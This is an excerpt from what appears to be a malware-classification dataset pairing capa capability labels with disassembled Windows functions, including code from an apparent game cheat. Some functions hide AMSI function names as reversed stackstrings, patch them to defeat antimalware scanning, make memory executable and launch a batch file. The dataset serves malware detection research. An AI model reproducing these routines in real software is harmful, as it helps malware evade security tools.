joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403040
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x403081
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x403078
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x403083
add rax, 0x28
cmp rax, r9
jne 0x403064
xor eax, eax
repz ret

Function at 0x403120
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x004064c0]
xor edx, edx
mov r8, rcx
cmp word [r9], 0x5a4d
je 0x403140
mov rax, rdx
add rsp, 0x28
ret
mov rcx, r9
call sym._ValidateImageBase.part.0
test eax, eax
je 0x403138
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add rax, r9
movzx edx, word [rax + 0x14]
lea rdx, [rax + rdx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x40319d
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
cmp rcx, r8
mov rax, r8
jb 0x403194
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x403138
add rdx, 0x28
cmp rdx, r9
jne 0x403180
xor edx, edx
mov rax, rdx
add rsp, 0x28
ret

Function at 0x4032b0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x004064c0]
xor eax, eax
mov rdx, rcx
cmp word [r8], 0x5a4d
je 0x4032d0
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x4032c8
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x40332d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x403324
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x403334
add rax, 0x28
cmp rax, r9
jne 0x403310
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x403350
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x004064c0]
xor r9d, r9d
mov r8d, ecx
cmp word [r11], 0x5a4d
je 0x403371
mov rax, r9
add rsp, 0x28
ret
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x403369
movsxd rcx, dword [r11 + 0x3c]
add rcx, r11
mov eax, dword [rcx + 0x90]
test eax, eax
je 0x403369
movzx edx, word [rcx + 0x14]
lea rdx, [rcx + rdx + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x403369
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r10, [rdx + rcx*8 + 0x28]
nop dword [rax + rax]
mov r9d, dword [rdx + 0xc]
cmp rax, r9
mov rcx, r9
jb 0x4033c4
add ecx, dword [rdx + 8]
cmp rax, rcx
jb 0x4033e0
add rdx, 0x28
cmp rdx, r10
jne 0x4033b0
xor r9d, r9d
mov rax, r9
add rsp, 0x28
ret
add rax, r11
jne 0x4033f8
jmp 0x4033cd
sub r8d, 1
add rax, 0x14
mov ecx, dword [rax + 4]
test ecx, ecx
jne 0x403406
mov edx, dword [rax + 0xc]
test edx, edx
je 0x4033cd
test r8d, r8d
jg 0x4033f0
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
add rsp, 0x28
ret
Function at 0x613c1430
Capabilities:
Enumerate processes

Disassembly:
push rbp
sub rsp, 0x160
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xf0], rcx
mov dword [rbp + 0xdc], 0
mov edx, 0
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rbp + 0xd0], rax
cmp qword [rbp + 0xd0], 0xffffffffffffffff
jne 0x613c147b
mov eax, 0
jmp 0x613c1509
mov dword [rbp - 0x60], 0x130
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xd0]
mov rcx, rax
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x613c14b3
mov rax, qword [rbp + 0xd0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
jmp 0x613c1509
lea rax, [rbp - 0x60]
add rax, 0x2c
mov rdx, rax
mov rcx, qword [rbp + 0xf0]
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x613c14d9
mov eax, dword [rbp - 0x58]
mov dword [rbp + 0xdc], eax
jmp 0x613c14f0
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xd0]
mov rcx, rax
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x613c14b3
mov rax, qword [rbp + 0xd0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, dword [rbp + 0xdc]
add rsp, 0x160
pop rbp
ret

Function at 0x613c1861
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryW]
call rax
mov rcx, qword [rbp + 0x10]
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
je 0x613c1915
mov rdx, qword [rbp + 0x18]
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x14]
lea rax, [rbp - 0x10]
mov r9, rdx
mov r8d, 0x40
movabs rdx, 0x2540be3ff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov qword [rbp - 0x40], 0
mov qword [rbp - 0x38], 0
mov qword [rbp - 0x30], 0
mov qword [rbp - 0x28], 0
mov rax, qword [rbp - 0x40]
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x38]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 0x30]
mov qword [rbp], rax
mov rax, qword [rbp - 0x28]
mov qword [rbp + 8], rax
mov eax, 1
add rsp, 0x60
pop rbp
ret
Function at 0x613c192b
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Terminate process

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x90
mov dword [rbp - 0x10], 0x416d7369
mov byte [rbp - 0xc], 0
lea rax, [rbp - 0x10]
mov rcx, rax
call sym.NETUTILS.dll_revstr
movabs rax, 0x6e53657373696f6e
mov qword [rbp - 0x20], rax
movabs rax, 0x416d73694f7065
mov qword [rbp - 0x18], rax
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.NETUTILS.dll_revstr
movabs rax, 0x616e537472696e67
mov qword [rbp - 0x30], rax
mov dword [rbp - 0x28], 0x73695363
mov word [rbp - 0x24], 0x416d
mov byte [rbp - 0x22], 0
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.NETUTILS.dll_revstr
movabs rax, 0x616e427566666572
mov qword [rbp - 0x40], rax
mov dword [rbp - 0x38], 0x73695363
mov word [rbp - 0x34], 0x416d
mov byte [rbp - 0x32], 0
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.NETUTILS.dll_revstr
lea rdx, [rbp - 0x20]
lea rax, [rbp - 0x10]
mov rcx, rax
call sym.NETUTILS.dll_ASSnko
lea rdx, [rbp - 0x30]
lea rax, [rbp - 0x10]
mov rcx, rax
call sym.NETUTILS.dll_ASSnko
lea rdx, [rbp - 0x30]
lea rax, [rbp - 0x10]
mov rcx, rax
call sym.NETUTILS.dll_ASSnko
lea rdx, [rbp - 0x40]
lea rax, [rbp - 0x10]
mov rcx, rax
call sym.NETUTILS.dll_ASSnko
lea rdx, [rbp - 0x30]
lea rax, [rbp - 0x10]
mov rcx, rax
call sym.NETUTILS.dll_ASSnko
movabs rax, 0x4445434f2e626174
mov qword [rbp - 0x60], rax
movabs rax, 0x7374656d33325c4b
mov qword [rbp - 0x58], rax
movabs rax, 0x646f7773205c7379
mov qword [rbp - 0x50], rax
mov dword [rbp - 0x48], 0x5c77696e
mov word [rbp - 0x44], 0x433a
mov byte [rbp - 0x42], 0
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.NETUTILS.dll_revstr
movabs rax, 0x7275655369676874
mov qword [rbp - 0x70], rax
mov dword [rbp - 0x68], 0x5c2e5c54
mov word [rbp - 0x64], 0x5c
lea rax, [rbp - 0x70]
mov rcx, rax
call sym.NETUTILS.dll_revstr
lea rdx, [rbp - 0x20]
lea rax, [rbp - 0x10]
mov rcx, rax
call sym.NETUTILS.dll_ASSnko
lea rax, [rbp - 0x60]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WinExec]
call rax
lea rdx, [rbp - 0x20]
lea rax, [rbp - 0x10]
mov rcx, rax
call sym.NETUTILS.dll_ASSnko
lea rdx, [rbp - 0x30]
lea rax, [rbp - 0x10]
mov rcx, rax
call sym.NETUTILS.dll_ASSnko
lea rdx, [rbp - 0x40]
lea rax, [rbp - 0x10]
mov rcx, rax
call sym.NETUTILS.dll_ASSnko
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
nop
Function at 0x613c1bb0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
movsxd rbp, dword [0x613c8024]
mov rbx, rcx
mov rsi, rdx
mov rdi, r8
test ebp, ebp
jle 0x613c1cca
mov rax, qword [0x613c8028]
xor r9d, r9d
add rax, 8
mov r10, qword [rax]
cmp rbx, r10
jb 0x613c1bfe
mov rdx, qword [rax + 8]
mov r11d, dword [rdx + 8]
add r10, r11
cmp rbx, r10
jb 0x613c1cb0
add r9d, 1
add rax, 0x18
cmp r9d, ebp
jne 0x613c1be2
mov rcx, rbx
call fcn.613c29d0
test rax, rax
mov r12, rax
je 0x613c1d02
lea rbp, [rbp + rbp*2]
shl rbp, 3
mov r13, rbp
add r13, qword [0x613c8028]
mov qword [r13 + 0x10], rax
mov dword [r13], 0
call fcn.613c2af0
mov edx, dword [r12 + 0xc]
mov r8d, 0x30
add rax, rdx
lea rdx, [rsp + 0x20]
mov qword [r13 + 8], rax
mov rax, qword [0x613c8028]
mov rcx, qword [rax + rbp + 8]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x613c1ce5
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x613c1ca9
sub eax, 0x40
and eax, 0xffffffbf
je 0x613c1ca9
mov r9, rbp
add r9, qword [0x613c8028]
mov r8d, 0x40
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x613c1cd1
add dword [0x613c8024], 1
mov r8, rdi
mov rdx, rsi
mov rcx, rbx
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
jmp 0x613c2f30
xor ebp, ebp
jmp 0x613c1c0b
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, [0x613c5078]
mov edx, eax
call fcn.613c1b40
mov rax, qword [0x613c8028]
mov edx, dword [r12 + 8]
lea rcx, [0x613c5040]
mov r8, qword [rax + rbp + 8]
call fcn.613c1b40
lea rcx, [0x613c5020]
mov rdx, rbx
call fcn.613c1b40
nop
nop word cs:[rax + rax]
jmp qword [sym.imp.msvcrt.dll_memcpy]

Function at 0x613c28e0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x613c2921
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x613c2918
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x613c2923
add rax, 0x28
cmp rax, r9
jne 0x613c2904
xor eax, eax
repz ret

Function at 0x613c29d0
Capabilities:
Enumerate pe sections

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov rbx, qword [0x613c5190]
cmp word [rbx], 0x5a4d
je 0x613c29f0
xor eax, eax
add rsp, 0x28
pop rbx
pop rsi
ret
mov rsi, rcx
mov rcx, rbx
call fcn.613c28a0
test eax, eax
je 0x613c29e4
sub rsi, rbx
mov rcx, rbx
mov rdx, rsi
add rsp, 0x28
pop rbx
pop rsi
jmp fcn.613c28e0
Function at 0x613c2c50
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x613c8900]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x613c88e0]
test rbx, rbx
je 0x613c2ca4
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x613c2c9b
test rsi, rsi
je 0x613c2c9b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x613c2c80
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea rcx, [0x613c8900]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp rax
Function at 0x180002820
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x30
mov rbx, rcx
cmp edx, 1
jne 0x18000286a
xor edx, edx
lea rcx, str.UnrealWindow
call qword [sym.imp.USER32.dll_FindWindowA]
mov r9, rbx
mov qword [0x18006d2f0], rbx
mov qword [0x18006d2e8], rax
lea r8, [0x1800026c0]
xor eax, eax
xor edx, edx
mov qword [rsp + 0x28], rax
xor ecx, ecx
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
add rsp, 0x30
pop rbx
ret

Function at 0x180004060
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x1800040bd
lea rbx, [0x1800579b0]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x1800040a4
cmp r10, 2
jb 0x1800040a4
cmp byte [r9], r8b
jne 0x1800040a4
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x180004080
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x1800040ff
lea rbx, [0x1800579b0]
cmp r8b, 0x23
jne 0x1800040e3
cmp byte [r9], r8b
jne 0x1800040e3
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x1800040d0
mov rbx, qword [rsp + 8]
not eax
ret
Function at 0x1800042c0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x20
mov rdi, r8
mov rbx, rcx
test rcx, rcx
jne 0x1800042ef
mov r8d, 0x627
lea rdx, str.D:ProgCpayday3_internal_dx12imguiimgui.cpp
lea rcx, str.filename__mode
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
test rdi, rdi
je 0x1800042fb
mov qword [rdi], 0
lea rdx, [0x18005ed60]
mov rcx, rbx
call fcn.180004110
mov rbx, rax
test rax, rax
jne 0x18000431d
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov qword [rsp + 0x30], rbp
mov rcx, rbx
mov qword [rsp + 0x38], rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov ebp, eax
cmp eax, 0xffffffff
je 0x1800043f4
xor edx, edx
mov rcx, rbx
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x1800043f4
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rsi, eax
cmp esi, 0xffffffff
je 0x1800043f4
xor r8d, r8d
mov edx, ebp
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x1800043f4
cmp rsi, 0xffffffffffffffff
je 0x1800043f4
mov rax, qword [0x18006d300]
test rax, rax
je 0x180004391
inc dword [rax + 0x3b4]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbp, rax
test rax, rax
je 0x1800043f4
mov r9, rbx
mov r8, rsi
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rbx
cmp rax, rsi
je 0x1800043e1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rax, qword [0x18006d300]
test rax, rax
je 0x1800043d6
dec dword [rax + 0x3b4]
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x1800043fd
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test rdi, rdi
je 0x1800043ef
mov qword [rdi], rsi
mov rax, rbp
jmp 0x1800043ff
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rbp, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1800067e0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x10], edx
push rdi
sub rsp, 0x20
cmp dword [rcx + 0xc8], 0
mov rbx, rcx
mov edi, edx
jg 0x180006816
mov r8d, 0x695
lea rdx, str.D:ProgCpayday3_internal_dx12imguiimgui.h
lea rcx, str.Size___0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movsxd r8, dword [rbx + 0xc8]
mov rax, qword [rbx + 0xd0]
mov edx, dword [rax + r8*4 - 4]
lea r8, [0x1800579b0]
not edx
movzx eax, dil
movzx ecx, dl
xor rcx, rax
shr edx, 8
movzx eax, byte [rsp + 0x39]
xor edx, dword [r8 + rcx*4]
movzx ecx, dl
xor rcx, rax
shr edx, 8
movzx eax, byte [rsp + 0x3a]
xor edx, dword [r8 + rcx*4]
movzx ecx, dl
xor rcx, rax
shr edx, 8
movzx eax, byte [rsp + 0x3b]
xor edx, dword [r8 + rcx*4]
movzx ecx, dl
xor rcx, rax
shr edx, 8
mov rax, qword [0x18006d300]
xor edx, dword [r8 + rcx*4]
not edx
cmp dword [rax + 0x1c5c], edx
jne 0x180006890
mov dword [rax + 0x1c60], edx
cmp dword [rax + 0x1c98], edx
jne 0x18000689f
mov byte [rax + 0x1c9c], 1
mov rbx, qword [rsp + 0x30]
mov eax, edx
add rsp, 0x20
pop rdi
ret
Function at 0x1800068b0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
cmp dword [rcx + 0xc8], 0
mov rdi, rdx
mov rbx, rcx
jg 0x1800068e3
mov r8d, 0x695
lea rdx, str.D:ProgCpayday3_internal_dx12imguiimgui.h
lea rcx, str.Size___0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movsxd rcx, dword [rbx + 0xc8]
mov rax, qword [rbx + 0xd0]
movss xmm0, dword [rdi]
subss xmm0, dword [rbx + 0x10]
movss xmm1, dword [rdi + 4]
subss xmm1, dword [rbx + 0x14]
cvttss2si r8d, xmm0
movss xmm0, dword [rdi + 8]
subss xmm0, dword [rbx + 0x10]
cvttss2si r9d, xmm1
movss xmm1, dword [rdi + 0xc]
lea rdi, [0x1800579b0]
subss xmm1, dword [rbx + 0x14]
mov ebx, dword [rax + rcx*4 - 4]
not ebx
movzx eax, r8b
movzx ecx, bl
xor rcx, rax
shr ebx, 8
mov eax, r8d
shr eax, 8
movzx edx, al
mov eax, r8d
xor ebx, dword [rdi + rcx*4]
movzx ecx, bl
xor rdx, rcx
shr ebx, 8
shr eax, 0x10
cvttss2si r10d, xmm0
xor ebx, dword [rdi + rdx*4]
movzx ecx, bl
shr ebx, 8
movzx edx, al
xor rdx, rcx
movzx eax, r9b
cvttss2si r11d, xmm1
xor ebx, dword [rdi + rdx*4]
movzx ecx, bl
shr ebx, 8
mov edx, r8d
shr rdx, 0x18
xor rdx, rcx
xor ebx, dword [rdi + rdx*4]
movzx ecx, bl
xor rcx, rax
shr ebx, 8
mov eax, r9d
shr eax, 8
movzx edx, al
mov eax, r9d
xor ebx, dword [rdi + rcx*4]
movzx ecx, bl
xor rdx, rcx
shr ebx, 8
shr eax, 0x10
xor ebx, dword [rdi + rdx*4]
movzx ecx, bl
shr ebx, 8
movzx edx, al
xor rdx, rcx
movzx eax, r10b
xor ebx, dword [rdi + rdx*4]
movzx ecx, bl
shr ebx, 8
mov edx, r9d
shr rdx, 0x18
xor rdx, rcx
xor ebx, dword [rdi + rdx*4]
movzx ecx, bl
xor rcx, rax
shr ebx, 8
mov eax, r10d
shr eax, 8
movzx edx, al
mov eax, r10d
xor ebx, dword [rdi + rcx*4]
movzx ecx, bl
xor rdx, rcx
shr ebx, 8
xor ebx, dword [rdi + rdx*4]
shr eax, 0x10
movzx ecx, bl
shr ebx, 8
movzx edx, al
xor rdx, rcx
movzx eax, r11b
xor ebx, dword [rdi + rdx*4]
movzx ecx, bl
shr ebx, 8
mov edx, r10d
shr rdx, 0x18
xor rdx, rcx
xor ebx, dword [rdi + rdx*4]
movzx ecx, bl
xor rcx, rax
shr ebx, 8
mov eax, r11d
shr eax, 8
movzx edx, al
mov eax, r11d
xor ebx, dword [rdi + rcx*4]
movzx ecx, bl
xor rdx, rcx
shr ebx, 8
shr eax, 0x10
xor ebx, dword [rdi + rdx*4]
movzx ecx, bl
shr ebx, 8
movzx edx, al
mov rax, qword [0x18006d300]
xor rdx, rcx
xor ebx, dword [rdi + rdx*4]
movzx ecx, bl
shr ebx, 8
mov edx, r11d
shr rdx, 0x18
xor rdx, rcx
xor ebx, dword [rdi + rdx*4]
not ebx
cmp dword [rax + 0x1c5c], ebx
jne 0x180006a84
mov dword [rax + 0x1c60], ebx
cmp dword [rax + 0x1c98], ebx
jne 0x180006a93
mov byte [rax + 0x1c9c], 1
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x180011720
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x20
mov rax, qword [0x18006d300]
mov rsi, rcx
mov rbx, qword [rax + 0x1c10]
add rbx, 0xc8
cmp dword [rbx], 0
jg 0x18001176b
mov r8d, 0x695
lea rdx, str.D:ProgCpayday3_internal_dx12imguiimgui.h
lea rcx, str.Size___0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movsxd rdx, dword [rbx]
lea r8, [0x1800579b0]
mov rax, qword [rbx + 8]
mov edi, dword [rax + rdx*4 - 4]
not edi
movzx eax, sil
movzx ecx, dil
xor rcx, rax
shr edi, 8
movzx eax, byte [rsp + 0x31]
xor edi, dword [r8 + rcx*4]
movzx ecx, dil
xor rcx, rax
shr edi, 8
movzx eax, byte [rsp + 0x32]
xor edi, dword [r8 + rcx*4]
movzx ecx, dil
xor rcx, rax
shr edi, 8
movzx eax, byte [rsp + 0x33]
xor edi, dword [r8 + rcx*4]
movzx ecx, dil
xor rcx, rax
shr edi, 8
movzx eax, byte [rsp + 0x34]
xor edi, dword [r8 + rcx*4]
movzx ecx, dil
xor rcx, rax
shr edi, 8
movzx eax, byte [rsp + 0x35]
xor edi, dword [r8 + rcx*4]
movzx ecx, dil
xor rcx, rax
shr edi, 8
movzx eax, byte [rsp + 0x36]
xor edi, dword [r8 + rcx*4]
movzx ecx, dil
xor rcx, rax
shr edi, 8
movzx eax, byte [rsp + 0x37]
xor edi, dword [r8 + rcx*4]
movzx ecx, dil
shr edi, 8
xor rcx, rax
xor edi, dword [r8 + rcx*4]
mov r8d, dword [rbx + 4]
not edi
cmp edx, r8d
jne 0x18001184a
lea ecx, [rdx + 1]
test r8d, r8d
je 0x180011836
mov eax, r8d
cdq
sub eax, edx
sar eax, 1
add eax, r8d
jmp 0x18001183b
mov eax, 8
cmp eax, ecx
cmovg ecx, eax
mov edx, ecx
mov rcx, rbx
call fcn.18001adb0
movsxd rcx, dword [rbx]
mov rax, qword [rbx + 8]
mov rsi, qword [rsp + 0x40]
mov dword [rax + rcx*4], edi
inc dword [rbx]
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x180011870
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov dword [rsp + 8], ecx
push rdi
sub rsp, 0x20
mov rax, qword [0x18006d300]
mov esi, ecx
mov rbx, qword [rax + 0x1c10]
add rbx, 0xc8
cmp dword [rbx], 0
jg 0x1800118b9
mov r8d, 0x695
lea rdx, str.D:ProgCpayday3_internal_dx12imguiimgui.h
lea rcx, str.Size___0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movsxd rdx, dword [rbx]
lea r8, [0x1800579b0]
mov rax, qword [rbx + 8]
mov edi, dword [rax + rdx*4 - 4]
not edi
movzx eax, sil
movzx ecx, dil
xor rcx, rax
shr edi, 8
movzx eax, byte [rsp + 0x31]
xor edi, dword [r8 + rcx*4]
movzx ecx, dil
xor rcx, rax
shr edi, 8
movzx eax, byte [rsp + 0x32]
xor edi, dword [r8 + rcx*4]
movzx ecx, dil
xor rcx, rax
shr edi, 8
movzx eax, byte [rsp + 0x33]
xor edi, dword [r8 + rcx*4]
movzx ecx, dil
shr edi, 8
xor rcx, rax
xor edi, dword [r8 + rcx*4]
mov r8d, dword [rbx + 4]
not edi
cmp edx, r8d
jne 0x18001194c
lea ecx, [rdx + 1]
test r8d, r8d
je 0x180011938
mov eax, r8d
cdq
sub eax, edx
sar eax, 1
add eax, r8d
jmp 0x18001193d
mov eax, 8
cmp eax, ecx
cmovg ecx, eax
mov edx, ecx
mov rcx, rbx
call fcn.18001adb0
movsxd rcx, dword [rbx]
mov rax, qword [rbx + 8]
mov rsi, qword [rsp + 0x40]
mov dword [rax + rcx*4], edi
inc dword [rbx]
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x180012e30
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rax, qword [0x18006c040]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov rbx, qword [0x18006d300]
mov edi, edx
cmp byte [rbx + 0x1f4d], 0
jne 0x180012e90
cmp byte [rbx + 0x1f4e], 0
jne 0x180012e90
mov r9d, dword [rbx + 0x2ff8]
lea r8, str.Tooltip__02d
mov edx, 0x10
lea rcx, [rsp + 0x20]
call fcn.180003fe0
test dil, 1
je 0x180012fae
jmp 0x180012f18
movss xmm1, dword [rbx + 0x1614]
lea r8, str.Tooltip__02d
movaps xmm0, xmm1
lea rcx, [rsp + 0x20]
mulss xmm0, dword [0x1800631d0]
xor eax, eax
mulss xmm1, dword [0x1800631c0]
addss xmm0, dword [rbx + 0x128]
lea edx, [rax + 0x10]
addss xmm1, dword [rbx + 0x12c]
mov qword [rbx + 0x1cc8], rax
mov dword [rbx + 0x1cb4], 1
movss dword [rbx + 0x1cc0], xmm0
movss dword [rbx + 0x1cc4], xmm1
movss xmm0, dword [rbx + 0x1670]
mulss xmm0, dword [0x180063118]
or dword [rbx + 0x1cb0], 0x41
movss dword [rbx + 0x1d10], xmm0
mov r9d, dword [rbx + 0x2ff8]
call fcn.180003fe0
movzx r9d, byte [rsp + 0x20]
lea r8, [rsp + 0x21]
mov r10d, 0xffffffff
mov ecx, r10d
test r9b, r9b
je 0x180012f68
lea r11, [0x1800579b0]
cmp r9b, 0x23
jne 0x180012f4b
cmp byte [r8], r9b
jne 0x180012f4b
cmp byte [r8 + 1], r9b
cmove ecx, r10d
movzx edx, cl
movzx eax, r9b
movzx r9d, byte [r8]
xor rdx, rax
shr ecx, 8
inc r8
xor ecx, dword [r11 + rdx*4]
test r9b, r9b
jne 0x180012f38
not ecx
call fcn.18000b7b0
test rax, rax
je 0x180012fae
cmp byte [rax + 0x8e], 0
je 0x180012fae
mov byte [rax + 0x95], 1
lea r8, str.Tooltip__02d
mov byte [rax + 0xb0], 1
lea rcx, [rsp + 0x20]
inc dword [rbx + 0x2ff8]
mov edx, 0x10
